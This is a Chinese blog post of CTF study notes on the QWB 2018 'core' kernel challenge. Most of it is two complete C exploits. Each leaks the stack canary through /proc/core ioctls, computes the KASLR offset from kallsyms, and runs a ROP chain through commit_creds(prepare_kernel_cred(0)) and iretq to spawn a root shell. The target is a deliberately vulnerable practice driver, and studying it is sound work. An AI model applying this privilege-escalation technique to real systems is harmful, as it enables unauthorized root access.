21 09 05学习总结(qwb_2018_core kernel rop)

21.09.05学习总结(qwb_2018_core kernel rop)

Column: September 1, 2021
Tags: kernel study, learning experience

大概是好久之后更新的一篇blog了, 之前都在忙忙碌碌的打比赛呢, 痴痴的看着短视频, 莫名其妙就会让时间流走呢(笑, 最近不会再这样了)

qwb_2018_core, 唔, kernel还不是学的很好呢, 先注释一遍吧, 加强理解:

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

/* 保存用户态段寄存器的值 */
size_t user_cs, user_ss, user_rflags, user_sp;
/* 保存commit_creds和prepare_kernel_cred的地址 */
size_t commit_creds = 0, prepare_kernel_cred = 0;
/* kalsr产生的偏移 */
size_t vmlinux_base = 0;
/* 不知道是什么偏移 */
size_t raw_vmlinux_base = 0xffffffff81000000;

/* -masm=intel, 内联汇编呀! pushf是把标志寄存器入栈, 后面是再弹回user_rflags */
void save_status()
{
    
    
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

int find_symbols()
{
    
    
		/* 只读打开普通文件, 因为题目的设置, 地址被保存在了该文件中 */
    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");

		/* 打开失败 */
    if(kallsyms_fd < 0)
    {
    
    
        puts("[*]open kallsyms error");
        exit(0);
    }

		/* 算是tmp数组 */
    char buf[0x30] = {
    
    0};
		/* 每次向该数组中读入0x30个字符(碰到\n则fgets结束, 即每次读入一行) */
    while(fgets(buf, 0x30, kallsyms_fd))
    {
    
    
				/* 当commit_creds和prepare_kernel_cred的地址被寻找完毕之后则结束该函数 */
        if(commit_creds & prepare_kernel_cred)
        {
    
    
            return 0;
        }

				/* 在tmp数组中寻找到commit_creds关键字且commit_creds未被赋值 */
        if(strstr(buf, "commit_creds") && !commit_creds)
        {
    
    
            printf("buf1: ");
            puts(buf);
            char hex[20] = {
    
    0};
						/* 从buf像hex复制16个字符(地址) */
            strncpy(hex, buf, 16);
						/* 把hex的值识别为longlong类型传入commit_creds */
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);
						/* 0x9c8e0的得到方法(wiki) = PIE默认偏移 - elf.sym['commit_creds'] */
            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux_base addr: %p\n", vmlinux_base);
        }

				/* 获取prepare_kernel_cre地址d的方法同commit_creds */
        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
    
    
            printf("buf2: ");
            char hex[0x20] = {
    
    0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
            printf("vmlinux_base addr: %p\n", vmlinux_base);
        }
    }

		/* 循环后最后的检测 */
    if(!(prepare_kernel_cred & commit_creds))
    {
    
    
        puts("[*]Error!");
        exit(0);
    }
}

/* 以ioctl的方法设置驱动全局变量off */
void set_off(int fd, long long idx)
{
    
    
    printf("[*]set off to %ld\n", idx);
    ioctl(fd, 0x6677889c, idx);
}

/* 以ioctl方法从驱动读入buf */
void core_read(int fd, char *buf)
{
    
    
    printf("[*]read to buf %s\n", buf);
    ioctl(fd, 0x6677889b, buf);
}

/* 从驱动的全局变量向驱动的栈上复制数据 */
void core_copy_func(int fd, long long size)
{
    
    
    printf("[*]copy from user with size: %ld\n", size);
    ioctl(fd, 0x6677889A, size);
}

/* 提权 */
void spawn_shell()
{
    
    
    if(!getuid())
    {
    
    
        system("/bin/sh");
    }
    else
    {
    
    
        puts("[*]spawn shell error!");
        exit(0);
    }
}

int main()
{
    
    
		/* 保存一下段寄存器, 后面从内存态恢复使用 */
    save_status();

		/* 以只写的方式打开设备文件 */
    int fd = open("/proc/core", 2);
    if(fd<0)
    {
    
    
        puts("[*] open /proc/core error!");
        exit(0);
    }
		/* 寻找kaslr偏移量 */
    find_symbols();
    ssize_t offset = vmlinux_base - raw_vmlinux_base;

		/* 设置core中的off值为0x40 */
    set_off(fd, 0x40);

    char buf[0x40] = {
    
    0};
		/* 从fd的栈上读取数据到buf上, 从而泄露出canary */
    core_read(fd, buf);
    size_t canary = ((size_t*)buf)[0];
    printf("[+]canary: %p\n", canary);

		/* 构造rop */
    size_t rop[0x1000] = {
    
    0};

    int i;
    for(i = 0; i < 10; i++)
    {
    
    
        rop[i] = canary;
    }
    rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;         // prepare_kernel_cred(0)

    rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
    rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
    rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; 
    rop[i++] = commit_creds;

    rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
    rop[i++] = 0;

    rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; 

    rop[i++] = (size_t)spawn_shell;         // rip 

    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

		/* 向fd的全局变量数组name写入数据 */
    write(fd, rop, 0x800);

		/* 从name向栈上复制canary以及ropchain */
    core_copy_func(fd, 0xffffffffffff0000 | (0x100));

    return 0;

这个是自己后面花了大半天写的exp, 主要调试久的原因是rsp写成sp导致segment fault了=.=, 改了好久才发现(比标准exp短一咩咩)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>

size_t base_vmlinux = 0xffffffff81000000, kalsr_offset = 0;
size_t save_cs = 0, save_flags = 0, save_sp = 0, save_ss = 0;
size_t prepare_kernel_cred_addr = 0;
size_t commit_creds_addr = 0;

void save_status()
{
    
    
    __asm__("mov save_cs, cs;"
            "mov save_sp, rsp;"
            "mov save_ss, ss;"
            "pushf;"
            "pop save_flags;"
            );
    puts("[+]status has been saved.");
}

size_t find_symbols()
{
    
    
    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if(kallsyms_fd < ((FILE*)0))
    {
    
    
        puts("[*]fopen kallsyms error!\n");
        exit(0);
    }

    char tmp[0x30] = {
    
    0};
    while(fgets(tmp, 0x30, kallsyms_fd))
    {
    
    
        if(commit_creds_addr && prepare_kernel_cred_addr)
        {
    
    
            break;
        }

        if(strstr(tmp, "commit_creds") && !commit_creds_addr)
        {
    
    
            char hex[0x20] = {
    
    0};
            strncpy(hex, tmp, 0x10);
            sscanf(hex, "%llx", &commit_creds_addr);
            printf("commit creds addr: %p\n", commit_creds_addr);
            kalsr_offset = commit_creds_addr - 0x9c8e0;
            printf("kalsr offset: %p\n", kalsr_offset);
        }

        if(strstr(tmp, "prepare_kernel_cred") && !prepare_kernel_cred_addr)
        {
    
    
            char hex[0x20] = {
    
    0};
            strncpy(hex, tmp, 0x10);
            sscanf(hex, "%llx", &prepare_kernel_cred_addr);
            printf("prepare kernel cred addr: %p\n", prepare_kernel_cred_addr);
        }
    }

    if(!commit_creds_addr || !prepare_kernel_cred_addr)
    {
    
    
        puts("[*]find symbols error!\n");
        exit(0);
    }

    return (kalsr_offset - base_vmlinux);
}

void core_read(int fd, char* buf)
{
    
    
    ioctl(fd, 0x6677889b, buf);
    printf("[+]core read buf: %p\n", buf);
}

void set_off(int fd, long long off_value)
{
    
    
    ioctl(fd, 0x6677889c, off_value);
}

void core_copy_func(int fd, size_t size)
{
    
    
    ioctl(fd, 0x6677889a, size);
}

void get_shell()
{
    
    
    if(!getuid())
    {
    
    
        system("/bin/sh");
    }
    else
    {
    
    
        puts("[*]spawn shell error!");
        exit(0);
    }
}

int main()
{
    
    
    size_t canary = 0, offset = 0, i = 0;
    size_t payload[0x800];
    puts("[+]save status start!");
    save_status();
    puts("[+]find symbols start!");
    offset = find_symbols();
    printf("[+]offset: 0x%lx\n", offset);

    int fd = open("/proc/core", 2);
    if(fd < 0)
    {
    
    
        puts("[*]open core error!\n");
    }

    char buf[0x40] = {
    
    0};
    set_off(fd, 0x40);
    core_read(fd, buf);
    canary = ((size_t*)buf)[0];
    printf("[+]canary: %p\n", canary);

    for(i = 0; i < 10; i++)
    {
    
    
        payload[i]=canary;
    }
    
    /*
     *0xffffffff811ae978: mov rdi, rax; jmp rcx; 
     *0xffffffff8106a6d2: mov rdi, rax; jmp rdx;
     * */
    payload[i++] = offset + 0xffffffff81000b2f; // pop rdi; ret; 
    payload[i++] = 0;
    payload[i++] = prepare_kernel_cred_addr; 
    payload[i++] = offset + 0xffffffff81021e53; // pop rcx; ret; 
    payload[i++] = commit_creds_addr;
    payload[i++] = offset + 0xffffffff811ae978; // mov rdi, rax; jmp rcx;   

    payload[i++] = offset + 0xffffffff81a012da; // swapgs; popfq; ret
    payload[i++] = 0;
    payload[i++] = offset + 0xffffffff81050ac2; //iretq; ret
    payload[i++] = (size_t)get_shell;

    payload[i++] = save_cs;
    payload[i++] = save_flags;
    payload[i++] = save_sp;
    payload[i++] = save_ss;
    write(fd ,payload, 0x800);
    core_copy_func(fd, 0xf000000000000000 | (0x100));

    return 0;
}

猜你喜欢

转载自blog.csdn.net/eeeeeight/article/details/120114227
ROP
今日推荐